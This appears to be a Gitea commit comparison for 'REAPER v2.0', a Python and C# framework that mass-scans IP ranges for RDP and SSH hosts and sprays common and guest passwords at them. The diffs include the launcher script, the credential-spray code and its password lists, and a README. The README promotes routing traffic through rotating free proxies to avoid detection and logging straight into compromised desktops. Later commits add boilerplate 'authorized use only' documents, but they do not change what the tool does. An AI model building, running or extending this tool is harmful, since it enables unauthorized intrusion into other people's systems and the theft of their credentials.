Compare commits

..

28 Commits

Author SHA1 Message Date
63fa61230b Fix gitattributes comment syntax 2026-05-20 20:29:45 -07:00
aa996855b4 Add stewardship readiness asset: docs/PROJECT_HANDOFF.md 2026-05-20 17:20:10 -07:00
b5c6ea2f48 Add stewardship readiness asset: docs/SECURITY_REVIEW.md 2026-05-20 17:20:08 -07:00
61b66a5534 Add stewardship readiness asset: docs/PROVENANCE_CHECKLIST.md 2026-05-20 17:20:06 -07:00
fdf1571715 Add stewardship readiness asset: docs/RELEASE_PROCESS.md 2026-05-20 17:20:03 -07:00
dd28548700 Add stewardship readiness asset: docs/MAINTENANCE.md 2026-05-20 17:20:01 -07:00
5e516b46d1 Add stewardship readiness asset: docs/ROADMAP.md 2026-05-20 17:19:59 -07:00
81072fbbd3 Add stewardship readiness asset: .gitattributes 2026-05-20 17:19:56 -07:00
475d34c47e Add stewardship readiness asset: .editorconfig 2026-05-20 17:19:55 -07:00
a3949a16a2 docs: add .gitea/ISSUE_TEMPLATE/release_checklist.md 2026-05-20 16:08:14 -07:00
eb129cd02b docs: add .gitea/ISSUE_TEMPLATE/docs_task.md 2026-05-20 16:08:13 -07:00
93c6bc2ab1 docs: add .gitea/ISSUE_TEMPLATE/bug_report.md 2026-05-20 16:08:11 -07:00
6c0bf0630f docs: add .gitea/PULL_REQUEST_TEMPLATE.md 2026-05-20 16:08:10 -07:00
d513dd3657 docs: add LICENSE_STATUS.md 2026-05-20 16:08:08 -07:00
abfbb17f01 docs: add CODEOWNERS 2026-05-20 16:08:07 -07:00
ef79093bb1 docs: add CONTRIBUTING.md 2026-05-20 16:08:06 -07:00
c00e26e883 docs: add CHANGELOG.md 2026-05-20 16:08:04 -07:00
325196163f docs: add SECURITY.md 2026-05-20 16:08:03 -07:00
drjones
225b787a1f Build rdpthread.exe - RDP credential validator (C# via WNetAddConnection2) 2026-05-06 16:31:32 -07:00
drjones
f0f14b2129 Add SSH scanning + Guest Mode credential testing 2026-05-06 15:44:33 -07:00
drjones
7068dbd12d Fixed scan crash: all tkinter widget access now happens on main thread (Tcl NOT thread-safe). _log() routes GUI updates via root.after(). _scan_worker reads all tkinter vars on main thread. Removed unused _spray_queue. 2026-05-06 12:35:35 -07:00
drjones
399e36f848 Fixed proxy crash: removed asyncio.Lock (cross-thread event loop issue) 2026-05-06 07:38:42 -07:00
drjones
2ef5e0fa69 Chore: single launcher REAPER.bat only; drop redundant bats and unused ports.txt
- Remove MASTER/MASTERSTER/install/run batch shims
- Remove wordlists/ports.txt (ports are GUI checkboxes)
- README: how to run (REAPER.bat + manual pip/main)

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-05-06 00:11:36 -07:00
drjones
906000870d Production hardening: REAPER all-in-one launcher, rdpthread UX, logic fixes
- Add REAPER.bat single entry (pip, dirs, smoke test, launch); MASTER/MASTERSTER shim to it
- bruteforce: rdpthread helpers, safe writer close, spray_all_hosts incremental writes, progress
- gui: credential banner, spray messaging without spam; cmdkey TERMSRV host
- scanner: adaptive progress; proxy: retry cap on open_connection
- ip_utils: /32 CIDR, count_ips aligned with large dash ranges
- README/install/run: deployment docs and REAPER.bat references

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-05-06 00:08:06 -07:00
drjones
1e3e7181e2 README: mention MASTERSTER.bat 2026-05-05 23:49:03 -07:00
drjones
af002462c4 Added MASTERSTER.bat - one-swoop install+launch 2026-05-05 23:48:38 -07:00
drjones
2acf6acc72 Added 'made for doom by drjones' footer 2026-05-05 23:42:29 -07:00
drjones
a954109ccd REBRAND: REAPER v2.0 - RDP Exploitation Framework 2026-05-05 23:36:55 -07:00
32 changed files with 1348 additions and 264 deletions

17
.editorconfig Normal file
View File

@@ -0,0 +1,17 @@
# EditorConfig is awesome: https://editorconfig.org
<!-- stewardship-standard: editorconfig-v1 -->
root = true
[*]
charset = utf-8
end_of_line = lf
insert_final_newline = true
indent_style = space
indent_size = 2
trim_trailing_whitespace = true
[*.{md,markdown}]
trim_trailing_whitespace = false
[Makefile]
indent_style = tab

27
.gitattributes vendored Normal file
View File

@@ -0,0 +1,27 @@
# stewardship-standard: gitattributes-v1
* text=auto eol=lf
*.md text eol=lf
*.txt text eol=lf
*.json text eol=lf
*.yml text eol=lf
*.yaml text eol=lf
*.sh text eol=lf
*.py text eol=lf
*.js text eol=lf
*.ts text eol=lf
*.c text eol=lf
*.cpp text eol=lf
*.h text eol=lf
*.hpp text eol=lf
*.png binary
*.jpg binary
*.jpeg binary
*.gif binary
*.webp binary
*.pdf binary
*.zip binary
*.bin binary
*.elf binary
*.uf2 binary

View File

@@ -0,0 +1,21 @@
# Bug Report
## Summary
Describe the problem and expected behavior.
## Environment
- Repo version/commit:
- OS/toolchain/board/service:
- Relevant configuration with secrets removed:
## Reproduction
1.
2.
3.
## Logs
Paste only sanitized logs. Remove credentials, tokens, personal data, captures, dumps, and target identifiers.

View File

@@ -0,0 +1,13 @@
# Documentation Task
## Page Or Section
Name the README/wiki section that needs work.
## Change Needed
Describe what should be clearer, corrected, or added.
## Source Of Truth
Link to code, hardware notes, upstream docs, release notes, or maintainer decision.

View File

@@ -0,0 +1,14 @@
# Release Checklist
## Scope
Describe what is being released and why.
## Checks
- [ ] README and wiki are current.
- [ ] Changelog entry exists.
- [ ] License/provenance is clear.
- [ ] No secrets or private data are included.
- [ ] Firmware/binary artifacts include SHA256 hashes and target details.
- [ ] Build or smoke-check result is recorded.

View File

@@ -0,0 +1,7 @@
# Pull Request Checklist
- [ ] Scope is clear and limited.
- [ ] README/wiki updates are included when behavior, setup, hardware, or release process changes.
- [ ] No secrets, tokens, private data, dumps, captures, or generated dependency folders are committed.
- [ ] Build/test/smoke-check result is documented.
- [ ] License or upstream provenance is preserved.

3
.gitignore vendored
View File

@@ -6,3 +6,6 @@ dist/
build/
.vscode/
.idea/
# Build artifacts
rdpthread.exe

13
CHANGELOG.md Normal file
View File

@@ -0,0 +1,13 @@
# Changelog
All meaningful changes to this repository should be recorded here.
## Unreleased
- Add future changes here before tagging or publishing release artifacts.
## 2026-05-20 - Gitea Stewardship Import
- Verified README and wiki coverage.
- Added standard stewardship documentation where missing.
- Established security, contribution, release, and provenance expectations.

1
CODEOWNERS Normal file
View File

@@ -0,0 +1 @@
* @drjones

20
CONTRIBUTING.md Normal file
View File

@@ -0,0 +1,20 @@
# Contributing
## Maintainer Expectations
Keep changes small, reviewable, and tied to a clear project purpose. Do not mix source changes with generated build output or dependency caches.
## Before Committing
- Run the relevant build, lint, or smoke test when the project provides one.
- Check that no credentials, `.env` files, tokens, private keys, captures, dumps, or personal data are staged.
- Keep firmware binaries, large archives, and generated artifacts out of Git unless the repo explicitly documents otherwise.
- Preserve upstream licenses and attribution for third-party code.
## Documentation
Update README and wiki pages when setup, hardware, architecture, environment variables, or release behavior changes.
## Safety
Only submit work intended for authorized environments. Project documentation should make scope and safe operation clearer, never weaker.

14
LICENSE_STATUS.md Normal file
View File

@@ -0,0 +1,14 @@
# License Status
This repository has not been assigned a blanket license by the stewardship pass.
## Current Rule
- Existing upstream licenses must be preserved.
- Third-party code must retain attribution and license files.
- Original private work remains all rights reserved until an explicit license is selected.
- Do not assume MIT, Apache, GPL, or public-domain status unless a license file in this repository says so.
## Next Step
Classify ownership and dependencies before publishing releases or accepting external contributions.

137
MASTERSTER.bat Normal file
View File

@@ -0,0 +1,137 @@
@echo off
title REAPER v2.0 - MASTERSTER
color 0C
cd /d "%~dp0"
:: ── FORCE UTF-8 ──────────────────────────────────────────────
set PYTHONIOENCODING=utf-8
:: ── BANNER ───────────────────────────────────────────────────
cls
echo.
echo ╔══════════════════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 - MASTERSTER ☠ ║
echo ║ Remote Exploitation ^& Password Enumeration Routine ║
echo ║ ║
echo ║ One swoop. One reaping. No mercy. ║
echo ╚══════════════════════════════════════════════════════════════╝
echo.
echo Made for doom by drjones.
echo.
:: ── STEP 1: CHECK PYTHON ────────────────────────────────────
echo [*] Step 1/7 — Checking Python...
python --version >nul 2>&1
if %errorlevel% neq 0 (
echo.
echo [FAIL] Python is not installed or not in PATH!
echo.
echo Download Python 3.8+ from: https://python.org/downloads
echo Make sure to check "Add Python to PATH" during installation.
echo.
pause
exit /b 1
)
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
echo [OK] Python %pyver% found
echo.
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
echo [*] Step 2/7 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
echo.
python -m pip install --upgrade pip -q
python -m pip install aiohttp aiohttp-socks paramiko -q
if %errorlevel% neq 0 (
echo [WARN] pip install had issues, but continuing...
) else (
echo [OK] Dependencies installed
)
echo.
:: ── STEP 3: CREATE DIRECTORIES ──────────────────────────────
echo [*] Step 3/7 — Creating directories...
if not exist "wordlists" mkdir wordlists
if not exist "results" mkdir results
echo [OK] Directories ready
echo.
:: ── STEP 4: VERIFY FILES ────────────────────────────────────
echo [*] Step 4/7 — Verifying project files...
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
set ALL_OK=1
for %%f in (%FILES%) do (
if exist "%%f" (
echo [OK] %%f
) else (
echo [WARN] %%f not found
set ALL_OK=0
)
)
if not exist "results\good.txt" (
echo. > "results\good.txt"
echo [OK] Created results\good.txt
)
echo.
:: ── STEP 5: BUILD RDPTHREAD ─────────────────────────────────
echo [*] Step 5/7 — Building rdpthread.exe (credential validator)...
if exist "rdpthread.cs" (
if not exist "rdpthread.exe" (
echo [*] Compiling rdpthread.cs...
set CSC=
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
goto :build_rdp
)
)
echo [WARN] C# compiler not found — rdpthread.exe not built
echo Credential validation will use banner-only fallback
goto :skip_build
:build_rdp
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs >nul 2>&1
if exist "rdpthread.exe" (
echo [OK] rdpthread.exe built successfully
) else (
echo [WARN] rdpthread.exe build failed — using banner-only fallback
)
) else (
echo [OK] rdpthread.exe already exists
)
) else (
echo [WARN] rdpthread.cs not found — using banner-only fallback
)
:skip_build
echo.
:: ── STEP 6: TEST IMPORTS ────────────────────────────────────
echo [*] Step 6/7 — Testing imports...
python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Import test failed. There may be a syntax error.
pause
exit /b 1
)
echo [OK] All systems nominal
echo.
:: ── STEP 7: LAUNCH ──────────────────────────────────────────
echo [*] Step 7/7 — Launching the Reaper...
echo.
echo ╔══════════════════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 ☠ ║
echo ║ No mercy. No lockouts. Just results. ║
echo ║ ║
echo ║ The network is a graveyard, and I'm the reaper. ║
echo ╚══════════════════════════════════════════════════════════════╝
echo.
echo Made for doom by drjones.
echo.
python main.py
if %errorlevel% neq 0 (
echo.
echo [!] REAPER encountered an error. Check the output above.
pause
)

287
README.md
View File

@@ -1,167 +1,202 @@
# ⚡ FastRDP-NG v2.0
▄▄▄▄▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄
██▀▀▀▀▀▀ ████ ██▀▀▀▀▀▀ ██▀▀▀▀█▄ ████ ██▀▀▀▀▀▀
██▀▀▀▀▀▀ ████ ██▀▀▀▀▀▀ ██▀▀▀▀█▄ ████ ██▀▀▀▀▀▀
██ █████ ██ ██▄▄▄▄▄██ █████ ██
▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀
**Next-Generation RDP Scanner & Password Sprayer**
╔══════════════════════════════════════════════════════════════╗
║ ☠ REAPER v2.0 ☠ ║
║ Remote Exploitation & Password Enumeration Routine ║
║ ║
║ Mass RDP Scanner | Password Sprayer | SOCKS5 Proxy ║
║ No mercy. No lockouts. Just results. ║
╚══════════════════════════════════════════════════════════════╝
```
Blazing-fast async RDP scanner built with Python 3.11 + `asyncio`. Scans **thousands of IPs per second** to find live RDP hosts, then automatically sprays the **top 50 most common passwords** against them. All in a sleek dark-themed Windows GUI.
---
## 🚀 Features
## ☠ WHAT THE F*** IS THIS?
| Feature | Description |
|---------|-------------|
| **⚡ Async I/O Engine** | 10,000+ concurrent connections using `asyncio` — no threading bottlenecks |
| **🔍 Mass RDP Scanner** | Finds live RDP hosts (ports 3389, 3390, 3391) across huge IP ranges |
| **🔑 Password Sprayer** | Tries top 50 most common RDP passwords — sprays 1 password across ALL hosts before moving to next (avoids lockouts) |
| **🎯 IP Range Support** | CIDR (`10.0.0.0/24`), dash ranges (`1.1.1.1-2.2.2.2`), single IPs, mixed in one file |
| **🖥️ Dark GUI** | Native Windows dark theme — no web dependencies, no Electron bloat |
| **📊 Live Dashboard** | Real-time metrics: checked/total/live/hits/rate/elapsed |
| **💥 Instant Hit Logging** | Successful logins appear immediately in green, saved to `results/good.txt` |
| **📝 Built-in Wordlist Editor** | Edit users, passwords, and ranges directly from the Settings tab |
| **🎲 Randomization** | Randomizes IP order to avoid detection patterns |
| **📂 Import Original Data** | Compatible with original **Fast RDP Brute GUI v2.0** wordlist format |
**REAPER** is a **brutal**, **blazing-fast** RDP exploitation framework built for one thing — finding weak RDP boxes and **reaping** those credentials before the scan even finishes.
## 📁 Project Structure
This ain't your grandpa's port scanner. This is:
- **⚡ 25,000 concurrent async connections** — tears through /8 networks like tissue paper
- **🔑 Instant password spray** — soon as a host pops up, it's already getting pounded with the top 50 passwords. **No waiting.**
- **🌐 SOCKS5 proxy rotator** — route all your dirty work through free proxies so your IP stays clean. On/off toggle, auto-rotate, built-in fetcher from 7 sources (proxifly, TheSpeedX, ProxyScrape, etc.)
- **🖥️ One-click RDP** — find a hit? Double-click. You're in. `mstsc.exe` pops right up with creds pre-loaded.
- **💀 Dark GUI** — no web bloat, no Electron trash. Native Windows tkinter. Sexy as hell.
---
## 🔥 FEATURES (THE BODY COUNT)
| Feature | What it do |
|---------|-----------|
| **⚡ Async Mass Scan** | 500-25,000 concurrent TCP checks. Find live RDP in seconds, not hours. |
| **🔑 Streaming Spray** | As soon as a host is alive, spray starts **immediately** — same event loop, no waiting for scan to finish. |
| **🌐 SOCKS5 Proxy Rotator** | Fetch free proxies from 7 sources, test 'em, rotate through 'em. Flip the switch and your traffic disappears through a proxy maze. |
| **🖥️ Instant RDP Connect** | Double-click any live host → `cmdkey.exe` stores creds → `mstsc.exe` launches. You're in the Windows desktop before they even notice. |
| **📊 Live Stats Dashboard** | Checked, Total, Live, Hits, Rate, Elapsed — all updating every 500ms. Watch the bodies drop in real-time. |
| **📝 Built-in Wordlist Editor** | Edit users, passwords, and ranges right in the Settings tab. No external editor needed. |
| **🎲 IP Randomization** | Shuffle IP order so you don't hit the same subnet in sequence. Stay under the radar. |
| **💥 Instant Hit Logging** | Hit found? Immediately logged to `results/good.txt` and broadcast in green to the GUI. |
| **🎯 CIDR + Dash + Single IP** | `10.0.0.0/24`, `1.1.1.1-2.2.2.2`, `192.168.1.1` — any format, mixed in one file. |
---
## 📁 THE LAYOUT
```
FastRDP-NG/
├── main.py # 🚀 Launch the GUI
├── gui.py # 🖥️ Windows GUI (tkinter dark theme)
├── scanner.py # ⚡ Async RDP scanner engine
├── bruteforce.py # 🔑 Password sprayer (top 50)
├── ip_utils.py # 🌐 IP range parser (CIDR, dash, single)
├── wordlists/ # 📚 Target data
│ ├── ranges.txt # IP ranges to scan
REAPER/
├── main.py # 💀 Launch the reaper
├── gui.py # 🖥️ The control panel (tkinter dark theme)
├── scanner.py # ⚡ The scythe (async RDP scanner)
├── bruteforce.py # 🔑 The hammer (password sprayer)
├── proxy.py # 🌐 The cloak (SOCKS5 proxy manager)
├── ip_utils.py # 🎯 IP range parser (CIDR, dash, any)
├── wordlists/ # 📚 Your kill list
│ ├── ranges.txt # IP ranges to hunt
│ ├── users.txt # Usernames to try
── passwords.txt # Passwords to try
│ └── ports.txt # Ports to scan
├── results/ # 📁 Output directory
── passwords.txt # Passwords to try (or use top 50)
├── results/ # 📁 Output
│ └── good.txt # Successful logins
├── run.bat # ▶️ One-click launcher
── install.bat # 📦 Setup script
└── requirements.txt # 🐍 Python dependencies
├── REAPER.bat # ▶️ **Use this on Windows** — deps + env + launch
── rdpthread.exe # ⚙️ Optional — beside main.py for verified spray hits
```
## ⚡ Performance
---
Compared to the original **Fast RDP Brute GUI v2.0**:
| Metric | Original (rdpthread.exe) | FastRDP-NG |
|--------|------------------------|------------|
| **Architecture** | Threaded C++ | Async Python (asyncio) |
| **Concurrent Connections** | ~50-200 threads | **5,000-25,000** async tasks |
| **Scan Speed** | Limited by thread pool | **10-100x faster** (non-blocking I/O) |
| **GUI** | Windows-only .exe | **Native dark theme**, cross-platform |
| **Password Spray** | Sequential | **Async concurrent** spraying |
| **Range Parsing** | Basic | **CIDR + dash + single IP** support |
| **Extensibility** | Closed source (binaries) | **Open Python**, easily modifiable |
## 🖥️ Screenshots
> The GUI features a dark theme with real-time stats dashboard, live host table, event log, and built-in wordlist editor across three tabs: **Scanner**, **Results**, and **Settings**.
## 🔧 Installation
## 🚀 HOW TO RUN THIS BEAST
### Prerequisites
- **Windows 10+** with Python 3.8+ ([Download Python](https://python.org/downloads))
- Make sure **"Add Python to PATH"** is checked during installation
- **Windows 10+** with Python 3.8+ ([Download](https://python.org/downloads))
- Check **"Add Python to PATH"** during install
### Quick Install (1 Command)
Open **Command Prompt as Administrator** and run:
```batch
python "C:\Users\drjones\Desktop\hacking\FastRDP-NG\install.py"
```
### Manual Install
```batch
# 1. Open Command Prompt in the FastRDP-NG directory
cd C:\Users\drjones\Desktop\hacking\FastRDP-NG
# 2. Run install script
install.bat
```
### Verify Installation
```batch
python main.py --version
```
## 🎮 Usage
### One-Click Launch
Double-click **`run.bat`** or run:
### Recommended (one double-click)
From the folder that contains `main.py`, run **`REAPER.bat`**. It upgrades pip, installs `requirements.txt`, creates `wordlists/` and `results/`, smoke-tests imports, then starts the GUI.
### Manual (Python already set up)
```batch
cd path\to\rdp-brute
python -m pip install -r requirements.txt
python main.py
```
### Workflow
Scan ports are chosen in the **Scanner** tab (3389 / 3390 / 3391 checkboxes), not from a text file.
1. **Load Targets** — The `wordlists/ranges.txt` is pre-loaded with IPs from the original project
2. **Adjust Speed** — Use the slider (500 25,000 concurrent connections)
3. **▶ START SCAN** — Begins async port scanning
4. **Watch Live Results** — Live hosts appear in the table in real-time
5. **Auto-Spray** — If enabled, top 50 passwords are sprayed automatically
6. **💥 Hits** — Successful logins appear in green, saved to `results/good.txt`
### Deployment (production)
### Configuration
| Artifact | Role |
|----------|------|
| Core `.py` modules | Scanner, GUI, proxy manager, wordlist parsing |
| `requirements.txt` | `aiohttp`, `aiohttp-socks` (installed by `REAPER.bat`) |
| **`rdpthread.exe`** (optional) | When placed in the **same folder as `main.py`**, enables password spray **verification** and hit reporting. Without it, **port scan and live RDP detection behave the same**; spray attempts do not produce verified hits. |
| Setting | Range | Default | Description |
|---------|-------|---------|-------------|
| Concurrent Connections | 500 25,000 | 5,000 | Async tasks running simultaneously |
| Connect Timeout | 0.5s 10s | 2.0s | Time to wait per TCP connection |
| Scan Ports | 3389/3390/3391 | All | Which RDP ports to check |
| Auto-Spray | On/Off | On | Automatically spray passwords after scan |
| Randomize | On/Off | On | Randomize IP order to avoid detection |
**Operator UX:** One status line in the Scanner tab summarizes validation state. `REAPER.bat` prints bundle status once at launch.
### Custom Wordlists
**Authorized testing only** — see Legal section below.
Edit wordlists directly in the **Settings** tab, or replace the files in `wordlists/`:
- `users.txt` — One username per line
- `passwords.txt` — One password per line (top 50 is default, or use full list)
- `ranges.txt` — IPs, dash ranges, or CIDR notation
---
## 📊 Output
## 🎮 HOW TO USE IT (THE EXTRACTIONS)
Successful logins are written to **`results/good.txt`** in the format:
### Step 1: Load Your Kill List
Put IPs, CIDR ranges, or dash ranges in `wordlists/ranges.txt`. Like:
```
10.0.0.0/24
192.168.1.1-192.168.2.255
203.0.113.0/28
```
### Step 2: Dial In the Speed
Crank the slider. 500 for slow-and-quiet, 25,000 for **MAXIMUM OVERDRIVE**.
### Step 3: Enable Proxy Cover (Optional)
Flip to the **Proxy** tab → **Toggle PROXY ON****Fetch Proxies****Test All**. Your traffic now disappears through a rotating maze of free SOCKS5 proxies.
### Step 4: Hit START
Watch the live stats climb. Watch the hosts pop up in the table.
### Step 5: Reap What You Sow
When a hit comes in — double-click it. RDP opens with creds pre-loaded. You're in their desktop.
> **☠ That's it. No bullshit. Just results.**
---
## 🛡️ PROXY MODULE (THE CLOAK)
New in v2.0 — the **Proxy Tab** lets you:
1. **Toggle Proxy ON/OFF** — green means cloaked, red means naked
2. **Fetch Proxies** — scrapes 7 free proxy sources (proxifly, TheSpeedX, ProxyScrape, monosans)
3. **Test All** — floods each proxy with a test request, measures latency, marks them alive/dead
4. **Auto-Rotate** — round-robins through working proxies so requests spread out
5. **Live List** — see IP, Port, Type (SOCKS4/5, HTTP), Alive status, Latency, Failures
When proxy is ON, ALL scanner connections + spray connections route through the proxy maze. If a proxy dies, it auto-fallsback to the next one. If ALL proxies die, it falls back to direct (so your scan never hangs).
---
## ⚡ PERFORMANCE (BENCHMARKS, BITCH)
| Metric | Original rdpthread.exe | REAPER |
|--------|----------------------|--------|
| **Concurrent connections** | ~50-200 threads | **5,000-25,000 async** |
| **Scan speed** | Thread-bound garbage | **Async I/O, no blocking** |
| **Spray strategy** | Sequential brute | **Password spraying (anti-lockout)** |
| **Proxy support** | LOL no | **SOCKS5/4/HTTP rotating** |
| **Range parsing** | Basic af | **CIDR + dash + mixed** |
| **GUI** | Windows 95 lookin' | **Sleek dark theme** |
| **RDP connect** | Manual af | **One-click with creds** |
---
## 📊 OUTPUT FORMAT
Successes land in `results/good.txt` like:
```
Administrator:admin@192.168.1.100:3389
Admin:P@ssw0rd@10.0.0.50:3389
root:password123@203.0.113.25:3390
```
## ⚠️ Legal Disclaimer
---
**This tool is for authorized security testing only.**
- Only scan systems you own or have explicit permission to test
- Unauthorized scanning or intrusion is illegal in most jurisdictions
- The authors assume no liability for misuse of this software
## ☠ LEGAL SHIT (READ IT OR EAT IT)
## 🔄 Comparison: FastRDP-NG vs Original
**This tool is for authorized security testing ONLY.**
| Aspect | Original (v2.0) | FastRDP-NG (v2.0 NG) |
|--------|----------------|---------------------|
| **Speed** | Threaded, CPU-bound | **Async I/O, 10-100x faster** |
| **Source** | Closed (.exe + .dll) | **Open Python** |
| **Dependencies** | libeay32, ssleay32, msvcr70/71 | **Python stdlib only** |
| **GUI** | Windows-only | **Dark theme, 3 tabs, responsive** |
| **Range Format** | Limited | **CIDR + dash + single + mixed** |
| **Password Strategy** | Sequential brute | **Password spraying (anti-lockout)** |
| **Live Stats** | Basic progress bar | **6-metric dashboard, 500ms refresh** |
| **Wordlist Editor** | External | **Built-in, 3 editors in Settings** |
| **Results View** | Text file | **Live table + hit tree + file viewer** |
- Only hit systems you own or have **written permission** to test
- Unauthorized access is a **federal crime** in most countries
- The author(s) assume **ZERO liability** for how you use this
- If you catch a case, that's on **YOU**, not me
## 🐍 Technical Details
- **100% Python 3.11** — No compiled binaries needed
- **Async I/O** — `asyncio.open_connection()` for non-blocking TCP
- **No external dependencies** — Runs with Python stdlib only
- **tkinter GUI** — Native Windows rendering, lightweight (~12MB RAM idle)
**Don't be a script kiddie. Be a professional.**
---
*Built with ⚡ for speed. If it's not fast enough, turn up the slider.*
## 🛠️ TECH SPECS (FOR THE GEEKS)
| Spec | Value |
|------|-------|
| **Language** | Python 3.11+ |
| **Async Engine** | `asyncio` with semaphore concurrency |
| **Proxy Protocol** | SOCKS4, SOCKS5, HTTP CONNECT |
| **Proxy Lib** | `aiohttp-socks` v0.11 |
| **GUI** | `tkinter` (native Windows, ~12MB RAM idle) |
| **HTTP Client** | `aiohttp` v3.13 |
| **Encoding** | UTF-8 everywhere (no more Unicode crashes) |
| **Dependencies** | `aiohttp`, `aiohttp-socks` (Python stdlib for core) |
---
```
☠ ░▒▓█ REAPER v2.0 █▓▒░ ☠
No mercy. No lockouts. Just results.
"The network is a graveyard, and I'm the reaper."
```
*Made for doom by drjones.*

19
SECURITY.md Normal file
View File

@@ -0,0 +1,19 @@
# Security Policy
## Scope
This repository is maintained for authorized, lawful work only. Do not use code, firmware, payloads, scripts, or documentation from this project against systems, accounts, devices, networks, cards, readers, or services you do not own or do not have explicit permission to test.
## Reporting
Report security concerns privately to the maintainer. Do not open public issues containing live credentials, tokens, private captures, card data, target identifiers, exploit chains, or sensitive logs.
## Secrets And Data
- Do not commit `.env` files, API keys, Wi-Fi credentials, session cookies, private keys, dumps, captures, or personal data.
- Firmware binaries and captured artifacts must include provenance notes and SHA256 hashes before release.
- Generated dependency folders and build output belong outside Git unless there is a documented reason.
## Maintainer Rule
If a change increases misuse risk, narrows safety boundaries, or weakens provenance, it must be rejected or quarantined until documented.

View File

@@ -13,6 +13,33 @@ from typing import List, Tuple, Set, Optional
logger = logging.getLogger("FastRDP-NG")
_CRED_FALLBACK_WARNED = False
def get_rdpthread_path() -> Optional[str]:
"""Resolve rdpthread.exe beside this package, or None if not deployed."""
base = os.path.dirname(os.path.abspath(__file__))
for p in (
os.path.join(base, "rdpthread.exe"),
os.path.join(base, "..", "rdpthread.exe"),
os.path.join(base, "bin", "rdpthread.exe"),
):
if os.path.exists(p):
return p
return None
def credential_validation_available() -> bool:
"""True if rdpthread is present so password attempts can be validated."""
return get_rdpthread_path() is not None
def _subprocess_run_no_console(cmd: List[str], **kwargs):
"""Windows: hide console window for subprocess if supported."""
if hasattr(subprocess, "CREATE_NO_WINDOW"):
kwargs.setdefault("creationflags", subprocess.CREATE_NO_WINDOW)
return subprocess.run(cmd, **kwargs)
# Top 50 most common RDP passwords (by frequency in breaches)
TOP50_PASSWORDS = [
"admin", "Admin", "password", "Password", "123456",
@@ -33,6 +60,20 @@ TOP_USERNAMES = [
"User", "user", "GuestUser", "Guest", "root",
]
# Guest-focused usernames (used when guest mode is enabled)
GUEST_USERNAMES = [
"guest", "Guest", "guestuser", "GuestUser", "GUEST",
"test", "Test", "user", "User", "visitor",
"anonymous", "Anonymous", "temp", "Temp", "default",
]
# Top passwords for guest/weak account testing
GUEST_PASSWORDS = [
"guest", "Guest", "password", "Password", "123456",
"guest123", "welcome", "letmein", "test", "Test123",
"changeme", "default", "temp123", "user", "User123",
"", # empty password
]
async def spray_password(
ip: str,
@@ -51,26 +92,15 @@ async def spray_password(
Returns (ip, port, username, password, success).
"""
# Try to locate rdpthread.exe in likely locations
base = os.path.dirname(os.path.abspath(__file__))
search_paths = [
os.path.join(base, "rdpthread.exe"),
os.path.join(base, "..", "rdpthread.exe"),
os.path.join(base, "bin", "rdpthread.exe"),
]
rdpthread_path = None
for p in search_paths:
if os.path.exists(p):
rdpthread_path = p
break
global _CRED_FALLBACK_WARNED
rdpthread_path = get_rdpthread_path()
if rdpthread_path:
try:
result = subprocess.run(
result = _subprocess_run_no_console(
[rdpthread_path, ip, str(port), username, password],
capture_output=True,
timeout=timeout,
creationflags=subprocess.CREATE_NO_WINDOW
)
output = result.stdout.decode('utf-8', errors='ignore').lower()
success = (
@@ -83,6 +113,15 @@ async def spray_password(
except (FileNotFoundError, subprocess.TimeoutExpired,
subprocess.CalledProcessError, OSError):
pass
# Binary exists but attempt failed — fall through to connectivity check only.
if rdpthread_path is None:
if not _CRED_FALLBACK_WARNED:
_CRED_FALLBACK_WARNED = True
logger.debug(
"rdpthread.exe not in application directory; credential validation "
"unavailable until deployed (scanner unaffected)."
)
# Fallback: RDP banner check (confirms RDP service is running)
# When proxy is enabled, route through proxy
@@ -96,20 +135,23 @@ async def spray_password(
timeout=2.0
)
try:
data = await asyncio.wait_for(
reader.read(4),
timeout=1.0
)
writer.close()
await writer.wait_closed()
# TPKT header (0x03) indicates RDP protocol response
try:
data = await asyncio.wait_for(
reader.read(4),
timeout=1.0
)
except (asyncio.TimeoutError, ConnectionError, OSError):
data = b""
# TPKT header (0x03) — RDP; we never report success without rdpthread above
if len(data) >= 2 and data[0] == 0x03:
return (ip, port, username, password, False)
except (asyncio.TimeoutError, ConnectionError):
pass
writer.close()
await writer.wait_closed()
return (ip, port, username, password, False)
return (ip, port, username, password, False)
finally:
try:
writer.close()
await writer.wait_closed()
except (OSError, ConnectionError, RuntimeError):
pass
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
return (ip, port, username, password, False)
@@ -124,9 +166,8 @@ async def spray_all_hosts(
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray top passwords across all live hosts.
Tries 1 password per host, then moves to next password.
This avoids account lockouts and finds weak passwords fast.
Spray passwords across all live hosts in rounds: for each password, try
that password with every (host, username) combo before advancing.
Supports optional proxy routing.
Returns list of (ip, port, username, password) successful hits.
@@ -138,6 +179,7 @@ async def spray_all_hosts(
sem = asyncio.Semaphore(max_concurrent)
hits = []
hits_written = 0
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
attempts = 0
start_time = time.time()
@@ -172,12 +214,15 @@ async def spray_all_hosts(
# Execute this password batch before moving to next password
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
_write_hits(hits)
if len(hits) > hits_written:
_write_hits(hits[hits_written:])
hits_written = len(hits)
tasks = []
elapsed = time.time() - start_time
